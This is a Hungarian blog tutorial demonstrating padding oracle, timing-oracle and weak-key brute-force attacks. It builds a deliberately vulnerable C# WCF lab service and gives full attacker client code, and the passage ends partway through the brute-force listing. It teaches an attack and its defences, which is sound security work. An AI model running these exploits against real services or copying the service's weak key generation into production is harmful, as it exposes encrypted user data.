A szimmetrikus titkosítás megvéd? Nem, ha rosszul használod!

(devportálos olvasóknak: a cikk a sok forráskód miatt a WordPress-es oldalon átláthatóbb)

Az előző, szimmetrikus titkosító algoritmusokról szóló cikkben megígértem, hogy a gyakorlatban is kipróbálunk egy támadást egy szerver ellen. Ebben a támadásban a Padding Oracle Attack-et fogjuk használni, amelyik egy zseniálisan egyszerű ötleten alapszik, mégis, két évvel ezelőtt igen nagy meglepetést okozott, amikor egy halom termékről kiderült, támadható ezzel a technikával.

A CBC módú titkosításban egy adott blokk visszafejtéséhez az algoritmus felhasználja az előző titkosított blokkot egy XOR művelethez. A Padding Oracle Attack lényege, hogy egy CBC módú titkosításnál tudjuk, hogy hogyan kell kinéznie az utolsó titkosítatlan blokknak, illetve manipuláljuk az utolsó blokk dekódolásához használt, megelőző titkosított blokkot. Ha ez a mondat nem tűnik értelmesnek, nézzük a következő ábrát:

Amikor a CipherBlock2-t visszafejtik, akkor ahhoz használják a CipherBlock1 értékét. Az utolsó blokk esetében – padding módtól függően, de most a .NET által PKCS7-nek nevezett módot vesszük – szóval az utolsó blokk esetében az utolsó byte-nak 0x01-nek, vagy az utlosó két byte-nak 0x02-0x02-nek, illetve ezen logika folytatásaként egy megfelelő padding-nek kell lennie. Miért örülünk mi ennek?

Azért, mert bár a titkosított adatba nem látunk bele, a visszafejtett adatról az XOR művelet miatt szerezhetünk információt. Ha a támadott szerver olyan, hogy valamilyen módon visszajelez a titkosítás eredményéről, akkor az XOR művelettel addig játszhatunk, amíg a szerveren egy megfelelő forma elő nem áll. Hogyan?

Tudjuk, hogy az utolsó blokkot akkor fogja a dekriptálás érvényesnek tartani, ha az utolsó byte értéke 0x01 (most a 0x02-0x02 és társaitól tekintsünk el). Mi rosszindulatúan, egy tetszőleges értékből kiindulva, elkezdünk addig próbálkozni, amíg a szerver be nem fejezi a padding hibára utaló jelzéseit. Ekkor tudjuk, hogy olyan CipherBlock1-et sikerült adni, ami 0x01-et eredményezett az utolsó byte-on. Miért jó ez nekünk?

Azért, mert tudjuk az eredeti CipherBlock1-et, tudjuk a saját módosított CipherBlock1-ünket. Azt is tudjuk, hogy [Plaintext utolsó byte-ja] XOR [Eredeti CipherBlock1 utolsó byte-ja] XOR [Saját CipherBlock1 utolsó byte-ja] = [0x01 az utolsó byte-on]. Azaz, van egy egyenletünk, egyetlen ismeretlennel, ami ismeretlen a plaintext utolsó byte-ja. Az egyismeretlenes egyenletet könnyedén megoldhatjuk, és ezzel megkapunk egy byte-ot a plaintextből.

Most, hogy meg van az utolsó byte, könnyen módosíthatjuk a kamu CipherBlock1-et, hogy utolsó byte-ként inkább 0x02-t eredményezzen. Miért jó ez? Azért, mert most a második byte-ot célozzuk meg, és addig játszunk, amíg a rosszul implementált szerver el nem mondja, hogy mikor talált a második byte-nál 0x02 értéket. Amikor ezt elértük, a fenti képlettel kiszámolhatjuk a plaintext második byte-ot, és ugrunk tovább a következőre.

A teszt szerver

Hogy a fenti támadást a gyakorlatban is kipróbálhassuk, készíteni fogunk egy egyszerű WCF-es szervizt. Ennek a szerviznek két művelete lesz. Az egyik művelet egy titkosított adatot fog kiadni, ezt kell a támadónak megfejteni. A másik művelettel adatokat lehet feltölteni a szerviznek, amelyek titkosítva érkeznek.

A szerviz ezt a titkosított adatot próbálja meg feldolgozni. A kód nem túl bonyolult, a szépség helyett a tömörségre törekedtem, így a szerviz osztályon vannak a WCF-es attributumok, és self-host-os a szerver, kódból konfigurálva. Cserébe egy Copy-Paste-tal könnyű kipróbálni (de a System.ServiceModel.dll kell a referenciák közé a fordításhoz).

A támadáshoz kihasznált metódus az Upload() lesz. Érdemes megfigyelni, hogy semmi gyanús nincsen rajta. Egy korrekt kód persze elkapná az esetleges kivételeket, és azokat egy nem implementáció specifikus kivételként dobná tovább – minket, mint támadót azonban kevéssé fog most érdekelni a dobott kivétel típusa, ezért ezzel a részlettel most nem foglalkozunk.

namespace PaddingOracleService
{
    using System;
    using System.Security.Cryptography;
    using System.ServiceModel;
    using System.Text;

    /// <summary>
    /// A Szervizt megvalósító osztály
    /// </summary>
    [ServiceContract]
    public class Service
    {
        static private byte[] key;  // A kulcsot első használatkor generáljuk
        static private byte[] iv;   // az iv nulla vektor lesz az egyszerűség kedvéért

        /// <summary>
        /// A kulcs inicializálása
        /// </summary>
        static Service()
        {
            key = new byte[16];
            iv = new byte[16];

            var random = new Random();

            random.NextBytes(Service.key);
        } //  Service()

        /// <summary>
        /// Egy titkos adat kiadása. Kulcsnak a titkosításhoz a statikus konstruktorban 
        /// generált értéket használja.
        /// Szándékosan kicsi a titkosítandó adat, a feltörő alkalmazást csak egy blokkra 
        /// írtam meg.
        /// </summary>
        /// <returns>A titkosított információ</returns>
        [OperationContract]
        byte[] GetSecret()
        {
            var textToBeCiphered = "ProC#tology";
            byte[] ciphertext = null;

            using (var symmetricAlgorithm = SymmetricAlgorithm.Create("AES"))
            {
                var bytesToBeCiphered = Encoding.UTF8.GetBytes(textToBeCiphered);

                var transformation 
                        = symmetricAlgorithm.CreateEncryptor(
                              Service.key, Service.iv)

                using (transformation)
                {
                    ciphertext
                        = transformation.TransformFinalBlock(
                                bytesToBeCiphered, 0, bytesToBeCiphered.Length);
                } // using
            } // using

            return ciphertext;
        } // GetSecret()

        /// <summary>
        /// Adat feltöltésre használható hívás. Megpróbálja kicsomagolni a titkosított adatot.
        /// Ha a padding rossz, egy exception generálódik, amit a hívó is hibaként érzékel.
        /// </summary>
        /// <param name="info">A titkosított adat, ezt manipuláljuk kívülről.</param>
        [OperationContract]
        void Upload(byte[] info)
        {
            using (var symmetricAlgorithm = SymmetricAlgorithm.Create("AES"))
            {
                var transformation 
                        = symmetricAlgorithm.CreateDecryptor(
                              Service.key, Service.iv)
                using (transformation)
                {
                    var plaintext
                        = transformation.TransformFinalBlock(
                                info, 0, info.Length);

                    // A plaintext-et most egy éles kód használná valamire,
                    // mi nem fogjuk, csak szimulálunk egy kis munkát
                    Thread.Sleep(50);
                } // using
            } // using
        } // Upload()
    } // class Service

    class Program
    {       
        static void Main(string[] args)
        {
            var host = new ServiceHost(typeof(Service));

            host.AddServiceEndpoint(
                    typeof(Service),
                    new NetTcpBinding(),
                    "net.tcp://localhost:2345");

            Console.Write("Starting service...   ");
            host.Open();
            Console.WriteLine("...started\nPress any key to close service");

            Console.ReadKey();

            host.Close();
        } // Main()
    } // class Program
} // namespace PaddingOracleService

A támadó kód felépítése

A támadó kód központi eleme egy Questioner osztály lesz, ez kérdezgeti a Padding Oracle-t, azaz a WCF-es szervizt, amíg vissza nem tudja állítani a titkosított információt. Az Questioner objektum publikus interfésze egy Decipher(byte[] cipherBlock) metódus. Ez egyetlen blokk visszafejtését végzi el (az egész eljárást csak egy blokk visszafejtésére írtam meg, több blokk visszafejtése még egy plusz ciklus szervezését igényelné, a lelkes olvasó ezt már ki tudja találni, ha akarja).

A visszafejtés két metódus segítségével történik majd. Az egyik a titkosított blokk utolsó byte-ját fejti vissza, a másik pedig a továbbiakat (az n-ik byte-ot). A két metódus felépítése egyébként nagyon hasonló, hiszen majdnem ugyanazt csinálják. Az n-ik byte visszafejtéséhez azonban szükségesek a már visszafejtett byte-ok, ezek segítségével lehet egy hosszabb, megfelelő padding-ot összeállítani (mint 0x03, 0x03).

A Questioner osztály egy interfészen keresztül látja az Oracle-t, erre azért van szükség, mert többféle támadást nézünk, amihez többféle oracle implementáció kell. Emiatt egy IOracle interfészt adunk a Questioner példánynak. Az eddigiek alapján az osztály így néz ki:

public class Questioner
{
    private IOracle oracle;

    private byte DecipherLastByte(byte[] cipherBlock) { ... }
    private byte DecipherNthByte(int n, byte[] cipherBlock, byte[] partiallyDeciphered) { ... }

    public Questioner(IOracle oracle) { ... }
    public byte[] Decipher(byte[] cipherBlock) { ... }
} // class Questioner

Az utoló byte visszafejtése

A bevezetőben már láttuk, hogy a taktika az, hogy a visszafejteni kívánt cipherblock-ot egy olyan megelőző cipherblock-kal fűzzük össze, amely byte-jait manipuláljuk. Magát a megfejtendő cipherblockot pedig a ciphertext utolsó blokkjának adjuk be, emiatt a visszafejtés során itt a visszafejtő algoritmus egy megfelelő padding-ot vár.

Nekünk az a célunk, hogy visszafejtésnél a visszafejtő eljárás utolsó byte-ként egy 0x01-es értéket találjon, mert akkor nem ad hibát, mi pedig ki tudjuk számolni, hogy mi a plaintext utolsó értéke. Ez a feladatot végzi el az alábbi metódus.

Fontos megjegyezni, hogy bizonyos, ritkán előforduló helyzeteket nem kezel a program. Például lehet, hogy véletlenül [0x02, 0x02] jön ki, amit az oracle szintén elfogad, mi pedig azt hisszük, hogy 0x01-et talált. Emiatt néha előfordul, hogy a visszafejtés nem sikeres. Ha valaki elszánt, innen már nem olyan nehéz megírni a minden helyzetben működő metódust.

private byte DecipherLastByte(byte[] cipherBlock)             
{
    // A blokkméretre többször hivatkozunk, most a paraméterből határozzuk meg 
    var blockLength = cipherBlock.Length;

    // A kamu cipherblock generálására használjuk
    var randomGenerator = new Random();

    // Ezt hazudjuk megelőző cipher blocknak, ennek a manipulálásával
    // szerzünk információt az utolsó byte-ról.
    var fakePreviousCipherBlock = new byte[blockLength];
    randomGenerator.NextBytes(fakePreviousCipherBlock);

    // Amivel a padding oracle-t kérdezni fogjuk az a fakeBlock | cipherBlock lesz.
    // Ezt a két blokknyi ciphertextet fogjuk tárolni a következő tömbben:
    var fakeCiphertext = new byte[2 * blockLength];
    Array.Copy(cipherBlock, 0, fakeCiphertext, blockLength, blockLength);
    Array.Copy(fakePreviousCipherBlock, fakeCiphertext, blockLength);

    // Most pedig addig manipuláljuk a hamis cipherblock utolsó byte-ját,
    // amig az oracle azt nem mondja, jól állunk. 
    for (var i = 0; i < 256; i++)
    {
        fakeCiphertext[blockLength - 1]
            = (byte)(fakePreviousCipherBlock[blockLength - 1] ^ i);

        if (oracle.Ask(fakeCiphertext))
        {
            // Most tudjuk, hogy a hamis cipherblockunkkal való XOR
            // 0x01-et ad utolsó byte-ként a plaintext-en. Ebből
            // meghatározható a plaintext. Kicsit egyszerűbb a képlet,
            // mivel a példa nullás IV-re és egyetlen blokkra épül:
            return (byte)(fakeCiphertext[blockLength - 1] ^ 1);
        } // if
    } // for i

    throw new NotSupportedException("Could not decipher");
} // DecipherLastByte()

Közbenső byte-ok visszafejtése

A közbenső byte-ok visszafejtése egészen hasonlóan megy, mint az utolsó byte visszafejtése. Egy dologgal kell többet csinálni. Ha például hátulról a harmadik byte-ot akarjuk visszafejteni, akkor úgy kell beállítani a kamu cipherblockunkat, az hogy utolsó két byte-on [0x03, 0x03] értéket eredményezzen. Ez azért jó, mert ebben a szakaszban mi a harmadik byte-ot manipuláljuk, és az a célunk, hogy a támadott szerver végül egy [0x03, 0x03, 0x03] sorozatot kapjon. Ha ezt elértük a szokásos módon megkapjuk a harmadik byte eredeti értékét.

A metódusnak így szüksége van a már eddig visszafejtett byte-okra, ennek felhasználásával tudja generálni a példában a [0x03, 0x03] végződést:

private byte DecipherNthByte(int n, byte[] cipherBlock, byte[] partiallyDeciphered)
{
    // A blokkméretre többször hivatkozunk, most a paraméterből határozzuk meg 
    var blockLength = cipherBlock.Length;

    // A kamu cipherblock generálására használjuk
    var randomGenerator = new Random();

    // Ezt hazudjuk megelőző cipher blocknak, ennek a manipulálásával
    // szerzünk információt az N-ik byte-ról.
    var fakePreviousCipherBlock = new byte[blockLength];
    randomGenerator.NextBytes(fakePreviousCipherBlock);

    // a már megfejtett részekkel be tudjuk állítani,
    // hogy [0x02], [0x03, 0x03], stb legyen a kibontott adat vége.
    for (var k = n; k < blockLength; k++)
    {
        fakePreviousCipherBlock[k]
            = (byte)(partiallyDeciphered[k] ^ (blockLength - n + 1));
    } // for k

    // Amivel a padding oracle-t kérdezni fogjuk az a fakeBlock | cipherBlock lesz.
    // Ezt a két blokknyi ciphertextet fogjuk tárolni a következő tömbben:
    var fakeCiphertext = new byte[2 * blockLength];
    Array.Copy(cipherBlock, 0, fakeCiphertext, blockLength, blockLength);
    Array.Copy(fakePreviousCipherBlock, fakeCiphertext, blockLength);

    // Most pedig addig próbálkozunk, amíg a támadott szerver szempontjából a 
    // padding rész első byte-ja a megfelelő értékre (0x02 vagy 0x03, stb) vált. 
    // Ha ez megvan, tudjuk mi azon a pozición a plaintext.
    for (var i = 0; i < 256; i++)
    {

        fakeCiphertext[n - 1]
            = (byte)(fakePreviousCipherBlock[n - 1] ^ i);

        if (oracle.Ask(fakeCiphertext))
        {
            return (byte)(fakeCiphertext[n - 1] ^ (blockLength - n + 1));
        } // if
    } // for i

    throw new NotSupportedException("Could not decipher");
} // DecipherNthByte()

A maradék kód

Két rövid metódust láttunk, és lényegében ezzel meg van a feladat “bonyolult” része. A két metódus végzi a piszkos munkát, a maradék kód már csak a működtetéshez kell. Egyrészt kell egy IOracle interfész:

interface IOracle
{
   bool Ask(byte[] cipherText);
} // interface IOracle

Az interfész egyetlen metódusa az Ask(), az emögött levő implementáció tudja, hogy a szerver elbukott vagy pedig nem bukott el a kamu ciphertext visszafejtése közben. Hamarosan meglátjuk hogyan működik.

Hiányzik még a visszafejtést végző főciklus, ami a Dechiper() metódusban kapott helyet:

public byte[] Decipher(byte[] cipherBlock)
{
    // A blokkméretre többször hivatkozunk, most a paraméterből határozzuk meg 
    var blockLength = cipherBlock.Length;

    // erre a területre történik a megfejtés
    var plaintext = new byte[blockLength];

    // Előbb az utolsó, majd ciklusban a közbenső byte-ok visszafejtése.
    // Mivel mindig a "padding"-ra játszunk, a ciklus hátulról kezdve dolgozik
    plaintext[blockLength - 1] = DecipherLastByte(cipherBlock);

    for (var n = blockLength - 1; n > 0; n--) 
    {
        plaintext[n - 1] = DecipherNthByte(n, cipherBlock, plaintext);
    } // for k

    return plaintext;
} // Decipher()

A konkrét Oracle

A cikk elején megírt szerviz nem foglalkozik a kivételek kezelésével, ezért ez visszaszivárog a hívóhoz. Az Oracle implementációnk emiatt nagyon egyszerűen működik, ha kap exception-t, rossz volt a padding, ha nem kap, akkor pedig jó.

Ha valaki azt gondolja, hogy ez így gagyi, egyrészt később nézünk egy trükkösebb helyzetet, másrészt pedig ez valós helyzet, a szervizek jellemzően adnak valamilyen kivételt/hibaüzenetet sikertelen működés esetén, még akkor is, ha a kivétel nem tartalmaz implementáció specifikus jellemzőket (mint rossz padding).

A proxy-t egyébként nem szép using-ba rakni, mert akkor a faulted channel-re is ráhívódik a Dispose(), ami pedig egy újabb kivételt dob, de ez most nekünk nem zavaró, a kód pedig egyszerűbb:

public class OracleByException : IOracle
{
    private int callCounter;

    public bool Ask(byte[] cipherText)
    {        
        var serviceProxy =
                ChannelFactory<IPaddingOracleService>.CreateChannel(
                    new NetTcpBinding(),
                    new EndpointAddress("net.tcp://localhost:2345"));
        try
        {
            using (serviceProxy as IDisposable)
            {
                callCounter++;
                serviceProxy.Upload(cipherText);

                // Ha idáig eljutottunk, a szerver sikeresen dekriptált
                return true;
            } // using
        }
        catch
        {
            // Valami hiba volt, mi mindent a sikertelen dekriptre fogunk
            return false;
        } // catch
    } // Ask()

    public int CallCounter { get { return this.callCounter; } }
} // class OracleByException 

A fentieken kívül még kell egy kis kód a működéshez, a teljes program listája itt található: (kattints a “show source”-ra, ha nem látszik a kód)

namespace Attacker
{
    using System;
    using System.ServiceModel;
    using System.Text;
    using System.Diagnostics;

    [ServiceContract(Name = "Service")]
    interface IPaddingOracleService
    {
        [OperationContract]
        byte[] GetSecret();

        [OperationContract]
        void Upload(byte[] info);
    } // interface IPaddingOracleService

    public interface IOracle
    {
        bool Ask(byte[] cipherText);
    } // interface IOracle

    public class OracleByException : IOracle
    {
        private int callCounter;

        public bool Ask(byte[] cipherText)
        {
            try
            {
                var serviceProxy =
                        ChannelFactory<IPaddingOracleService>.CreateChannel(
                            new NetTcpBinding(),
                            new EndpointAddress("net.tcp://localhost:2345"));

                using (serviceProxy as IDisposable)
                {
                    callCounter++;
                    serviceProxy.Upload(cipherText);
                    return true;
                } // using
            }
            catch
            {
                return false;
            } // catch
        } // Ask()

        public int CallCounter 
        { 
            get 
            { 
                return this.callCounter; 
            } // get
        } // CallCounter
    } // class OracleByException 

    public class Questioner
    {
        private IOracle oracle;

        private byte DecipherLastByte(byte[] cipherBlock)
        {
            // A blokkméretre többször hivatkozunk, most a paraméterből határozzuk meg 
            var blockLength = cipherBlock.Length;

            // A kamu cipherblock generálására használjuk
            var randomGenerator = new Random();

            // Ezt hazudjuk megelőző cipher blocknak, ennek a manipulálásával
            // szerzünk információt az utolsó byte-ról.
            var fakePreviousCipherBlock = new byte[blockLength];
            randomGenerator.NextBytes(fakePreviousCipherBlock);

            // Amivel a padding oracle-t kérdezni fogjuk az a fakeBlock | cipherBlock lesz.
            // Ezt a két blokknyi ciphertextet fogjuk tárolni a következő tömbben
            var fakeCiphertext = new byte[2 * blockLength];
            Array.Copy(cipherBlock, 0, fakeCiphertext, blockLength, blockLength);
            Array.Copy(fakePreviousCipherBlock, fakeCiphertext, blockLength);

            // Most pedig addig manipuláljuk a hamis cipherblock utolsó byte-ját,
            // amig az oracle azt nem mondja, jól állunk. 
            for (var i = 0; i < 255; i++)
            {
                fakeCiphertext[blockLength - 1]
                    = (byte)(fakePreviousCipherBlock[blockLength - 1] ^ i);

                if (oracle.Ask(fakeCiphertext))
                {
                    // Most tudjuk, hogy a hamis cipherblockunkkal való XOR
                    // 0x01-et ad utolsó byte-ként a plaintext-en. Ebből
                    // meghatározható a plaintext. Kicsit egyszerűbb a képlet,
                    // mivel a példa nullás IV-re és egyetlen blokkra épül:
                    return (byte)(fakeCiphertext[blockLength - 1] ^ 1);
                } // if
            } // for i

            throw new NotSupportedException("Could not decipher");
        } // DecipherLastByte()

        private byte DecipherNthByte(int n, byte[] cipherBlock, byte[] partiallyDeciphered)
        {
            // A blokkméretre többször hivatkozunk, most a paraméterből határozzuk meg 
            var blockLength = cipherBlock.Length;

            // A kamu cipherblock generálására használjuk
            var randomGenerator = new Random();

            // Ezt hazudjuk megelőző cipher blocknak, ennek a manipulálásával
            // szerzünk információt az N-ik byte-ról.
            var fakePreviousCipherBlock = new byte[blockLength];
            randomGenerator.NextBytes(fakePreviousCipherBlock);

            // a már megfejtett részekkel pontosan tudunk manipulálni, azt akarjuk
            // hogy [0x02], [0x03, 0x03], stb legyen a kibontott adat vége.
            for (var k = n; k < blockLength; k++)
            {
                fakePreviousCipherBlock[k]
                    = (byte)(partiallyDeciphered[k] ^ (blockLength - n + 1));
            } // for k

            // Amivel a padding oracle-t kérdezni fogjuk az a fakeBlock | cipherBlock lesz.
            // Ezt a két blokknyi ciphertextet fogjuk tárolni a következő tömbben
            var fakeCiphertext = new byte[2 * blockLength];
            Array.Copy(cipherBlock, 0, fakeCiphertext, blockLength, blockLength);
            Array.Copy(fakePreviousCipherBlock, fakeCiphertext, blockLength);

            // Most pedig addig próbálkozunk, amíg a támadott szerver szempontjából a 
            // padding rész első byte-ja a megfelelő értékre (0x02 vagy 0x03, stb) vált. 
            // Ha ez megvan, tudjuk mi azon a byte-on a plaintext.
            for (var i = 0; i < 256; i++)
            {
                fakeCiphertext[n - 1]
                    = (byte)(fakePreviousCipherBlock[n - 1] ^ i);

                if (oracle.Ask(fakeCiphertext))
                {
                    return (byte)(fakeCiphertext[n - 1] ^ (blockLength - n + 1));
                } // if
            } // for i

            throw new NotSupportedException("Could not decipher");
        } // DecipherNthByte()

        public Questioner(IOracle oracle)
        {
            this.oracle = oracle;
        } // Questioner()

        public byte[] Decipher(byte[] cipherBlock)
        {
            // A blokkméretre többször hivatkozunk, most a paraméterből határozzuk meg 
            var blockLength = cipherBlock.Length;

            // erre a területre történik a megfejtés
            var plaintext = new byte[blockLength];

            // Előbb az utolsó, majd ciklusban a közbenső byte-ok visszafejtése.
            // Mivel mindig a "padding"-ra játszunk, a ciklus hátulról kezdve dolgozik
            plaintext[blockLength - 1] = DecipherLastByte(cipherBlock);

            for (var n = blockLength - 1; n > 0; n--)
            {
                plaintext[n - 1] = DecipherNthByte(n, cipherBlock, plaintext);
            } // for k

            return plaintext;
        } // Decipher()
    } // class Questioner

    class Program
    {
        static byte[] GetSecretToDecipher()
        {
            var serviceProxy =
                    ChannelFactory<IPaddingOracleService>.CreateChannel(
                        new NetTcpBinding(),
                        new EndpointAddress("net.tcp://localhost:2345"));

            using (serviceProxy as IDisposable)
            {
                return serviceProxy.GetSecret();
            } // using
        } // GetSecretToDecipher()       

        static void Main(string[] args)
        {
            var secretToDecipher = GetSecretToDecipher();

            Console.WriteLine(
                "Ciphertext: {0}",
                BitConverter.ToString(secretToDecipher).Replace('-', ' '));

            var oracle = new OracleByException();
            var questioner = new Questioner(oracle);

            var sw = Stopwatch.StartNew();

            var plaintext = questioner.Decipher(secretToDecipher);

            Console.WriteLine(
                "Plaintext : {0}",
                BitConverter.ToString(plaintext).Replace('-', ' '));

            var originalText
                    = Encoding.UTF8.GetString(
                            plaintext, 0,
                            plaintext.Length - plaintext[plaintext.Length - 1]);

            Console.WriteLine("Original string: {0}", originalText);

            Console.WriteLine("Finished in {0}", sw.Elapsed.ToString("g"));
            Console.WriteLine("Service call count: {0}", oracle.CallCounter);
        } // Main()
    } // class Program
} // namespace Attacker

A program futásának eredménye pedig:

És ha nem adunk hibát?

A fenti törés alapja az volt, hogy hibás cipher block esetén hibát kaptunk vissza. Kézenfekvő ötletnek tűnik, hogy ha nem adunk vissza hibát, akkor nem lehet támadni a szervert. Vigyázni kell azonban ezzel is, nézzük, hogy miért. Azért, hogy ne adjunk hibát, elkaphatjuk és lenyelhetjük az exceptionokat. Ugyanakkor, a szerviz viselkedése még így is különböző lehet hibás és normál működés esetén.

Az Upload() művelete a szerviznek nyilván csinál valamit a neki küldött adattal. Mi ezt a munkát egy 50ms-os várakozással szimuláltuk. A hibát takargató szerviz kód most igy néz ki:

[OperationContract]
void Upload(byte[] info)
{
    try
    {
        using (var symmetricAlgorithm = SymmetricAlgorithm.Create("AES"))
        {
            var transformation 
                    = symmetricAlgorithm.CreateDecryptor(
                          Service.key, Service.iv)

            using (transformation)
            {
                var plaintext
                    = transformation.TransformFinalBlock(
                            info, 0, info.Length);

                // A plaintext-et most egy éles kód használná valamire,
                // mi nem fogjuk, csak szimulálunk egy kis munkát
                Thread.Sleep(50);
            } // using
        } // using
    }
    catch
    {
        // nem endedjük, hogy a kliens megtudja, ha valami rosszul ment
    }
} // Upload()

Nyilván már mindenki kitalálta mi lesz a következő stratégia: mérni fogjuk a szerviz válaszidejét. A következő Oracle implementációnknak lesz egy betanuló fázisa:

public class OracleByTiming : IOracle
{
    private int callCounter;
    private int failingLimit;

    private void LearnServiceBehaviour()
    {
        // Kapcsolat nyitása a szerviz fele
        var serviceProxy =
                ChannelFactory<IPaddingOracleService>.CreateChannel(
                    new NetTcpBinding(),
                    new EndpointAddress("net.tcp://localhost:2345"));

        int normalTime, failingTime;
        Stopwatch sw;

        using (serviceProxy as IDisposable)
        {
            // Kell egy titok, amit manipulálunk
            var ciphertext = serviceProxy.GetSecret();

            // Első körben mérjük a válaszidőket normál esetben. A mi labor
            // körülményeinkhez elég egyszerű átlag, a gyakorlatban körültekintőbb
            // analízis kellene, a hálózat/adatbázis/akármi egyenetlen működése miatt.
            sw = Stopwatch.StartNew();

            for (var i = 0; i < 100; i++)
            {
                serviceProxy.Upload(ciphertext);
            } // for i

            normalTime = (int)sw.ElapsedMilliseconds / 100;

            // Elrontjuk a titkot, most mérhető a hibás ág
            ciphertext[0]++;

            sw = Stopwatch.StartNew();

            for (var i = 0; i < 100; i++)
            {
                serviceProxy.Upload(ciphertext);
            } // for i

            failingTime = (int)sw.ElapsedMilliseconds / 100;
        } // using

        this.failingLimit = (normalTime + failingTime) / 2;
    } // LearnServiceBehaviour()   

    ...
 
} // OracleByTiming()

Ez a rutin egyszerűen méri a válaszidőket normál illetve hibás esetben, és ez alapján meghatároz egy limitet, amit normál válasznak vesz. Az Ask() metódus implementációja ezek után már triviális:

public bool Ask(byte[] cipherText)
{
    // Még nincs limit, határozzuk meg
    if (this.failingLimit == 0)
    {
        LearnServiceBehaviour();
    } // if

    var serviceProxy =
            ChannelFactory<IPaddingOracleService>.CreateChannel(
                new NetTcpBinding(),
                new EndpointAddress("net.tcp://localhost:2345"));

    var sw = Stopwatch.StartNew();

    using (serviceProxy as IDisposable)
    {
        callCounter++;
        serviceProxy.Upload(cipherText);            
    } // using

    return sw.ElapsedMilliseconds > this.failingLimit;
} // Oracle()

Az implementáció egyszerűen a kimért idő alapján dönti el, hogy a szerviz tudott-e dekriptálni, vagy nem. Meg kell jegyezni, hogy ebben az egyszerű példában az Ask() csak akkor működik, ha a sikertelen visszafejtés a gyorsabb a szerver oldalon. Éles helyzetben nyilván a helyzetnek megfelelő rutint kell írni.

A módosított program kimenete (kiírattam az időzítéseket is)

Egy ilyen támadással szemben lehet próbálkozni azzal, hogy kiegyensúlyozzuk az időket, de a mi esetünkben jobb megoldás, hogy ha úgysem akarunk információt szolgáltatni a hívónak, egyszerűen OneWay-re rakjuk az OperationContract-ot:

[OperationContract(IsOneWay=true)]
void Upload(byte[] info)
{
...
}

Ebben az esetben, ha a szerviz átvette az üzenetet, már küldi is a választ, ami lényegében csak egy nyugta, még az üzenet feldolgozása előtt. Az azonnali nyugta miatt a kliens nem tud időt mérni (illetve maximum a szerviz terheltségét):

Ne higgyük azonban, hogy ezzel vége. Ha valaki más módon tudja mérni a szerver viselkedését (pl a hálózati kommunikációt, vagy nagyon elborult és szélsőséges esetben a pillanatnyi áramfelvételt), még mindig van esélye gonoszkodni.

A kulcsgenerálás fontossága

A mi szervizünk azonban még mindig törhető anélkül, hogy fogyasztásmérőt szerelnénk az ezt futtató számítógépre. Nézzük csak meg a szerviz kódját, milyen csúnya hiba van benne! Na? Egy kis segítség:

A kulcsot a sima Random osztállyal generáltuk. Miért hatalmas probléma ez? Azért, mert a Random osztály, mint pszeudo véletlenszám generátor, egy 32 bites értéket használ seed-nek, azaz az állapota inicializálásához. Ez azt jelenti, hogy a Random osztályt kb négymilliárd különböző kezdőállapotba lehet állítani. Ez soknak tűnik, csak nem akkor, amikor egy 128 bites, azaz négymilliárdszor négymilliárdszor négymilliárdszor négymilliárd lehetséges értéket felvevő kulcsot akarunk generálni. A Random fenti használatával lényegében egy 32 bites kulcsá redukáltuk a 128 bitet.

Az már szinte mellékes, hogy a 32 bit az igazából csak 31, mivel a Random osztály implementációja negatív számok esetén abszolút értéket vesz. A mai számítógépek egy 32 bites kulcsteret néhány órán belül végigzongoráznak, miközben a támadó valami FPS-sel játszik ugyanazon a gépen.

Emiatt már csak érdekességként mondom el, hogy a Random paraméter nélküli konstruktora az Environment.TickCount értéket használja seed-nek, ami a gép bekapcsolásától vett milliszekundumok száma (a név pedig onnan jön, hogy CPU tick countját használja a kiszámításhoz, de mivel ráoszt a CPU frekvenciájával, a visszaadott érték már nem tick count lesz, hanem tényleg a bekapcsolástól számított idő – a név tehát félrevezető). Az, hogy a gép bekapcsolásától vett idővel lesz inicializálva a Random osztály, egy újabb lehetőség az egyébként sem sok 32 bit csökkentésére. Ha van valami információnk, hogy például a szervert minden vasárnap hajnali két órakor újraindítják (mert a WebSphere eszi a memóriát, vagy ilyenkor installálják az update-eket), akkor tehetünk becsléseket a tick count értékére. Ha a szerviz elindul a gép bootolásakor, akkor pedig biztosak lehetünk benne, hogy a tick count valahol alacsony értéken járt, ekkor pár másodperc alatt meg lesz a kulcs.

A következő egyszerű program a fent leírtak alapján próbálja megkeresni a kulcsot. Itt nem lesz olyan egyértelmű a siker, mint az előző törési módoknál. Ha semmit nem tudunk a titkosított adat struktúrájáról, akkor nehezen vesszük észre, mikor használtuk a jó kulcsot. A példában emiatt mi most valahonnan tudjuk, hogy a titkosított blokk maximum 13 byte hosszú adatot rejt, tehát minimum 3 hosszú padding van a blokk végén. Az ennek a kritériumnak megfelelő plaintext-ek lesznek a jó jelöltek. Remélhetőleg ezzel le lehet szűkíteni a lehetséges jó kulcsok számát olyan alacsonyra, hogy abból egyéb kritériumok alapján kiválasszuk a valós kulcsot.

A program ciklusa a következőképpen néz ki:

static void Main(string[] args)
{
    // A megfejtendő titok kérése
    var serviceProxy =
        ChannelFactory<IPaddingOracleService>.CreateChannel(
            new NetTcpBinding(),
            new EndpointAddress("net.tcp://localhost:2345"));

    byte[] ciphertext;

    using (serviceProxy as IDisposable)
    {
        ciphertext = serviceProxy.GetSecret();
    } // using
            
    // Munkaváltozók a visszafejtéshez
    byte[] key = new byte[16];
    byte[] iv = new byte[16];

    byte[] plaintext = new byte[16];

    var sw = Stopwatch.StartNew();

    // Végigdarálni a Random() által generálható kulcsteret
    for (var counter = 0; counter < Int32.MaxValue; counter++)
    {
        // Adott seed-hez tartozó kulcs generálása
        var random = new Random(counter);
        random.NextBytes(key);

        // Most managed verziót használunk, hogy ne túráztassuk a 
        // a Windows CryptoAPI-t a sok handle nyitással-zárással
        using (var aesAlg = new AesManaged())
        {
            aesAlg.Key = key;
            aesAlg.IV = iv;

            // A padding mode-ot none-ra rakjuk, hogy ne okoskodjon
            // a decryptor. Nekünk a nyers plaintext-re van szükségünk
            aesAlg.Padding = PaddingMode.None;

            // Blokk visszafejtése az aktuális kulccsal.
            ICryptoTransform decryptor = aesAlg.CreateDecryptor();

            using (decryptor as IDisposable)
            {
                decryptor.TransformBlock(
                            ciphertext, 0, 16,
                            plaintext, 0);
            } // using

            // Az eredmény ellenőrzése. Tudjuk, hogy minimum 3 hosszú padding van a végén,
            // így a következő feltételeknek biztosan teljesülni kell az utolsó 3 byte-ra
            var hasPaddingLikeEnding = 
                       plaintext[15] <= 16 && plaintext[15] >= 3
                    && plaintext[15] == plaintext[14] && plaintext[15] == plaintext[13];

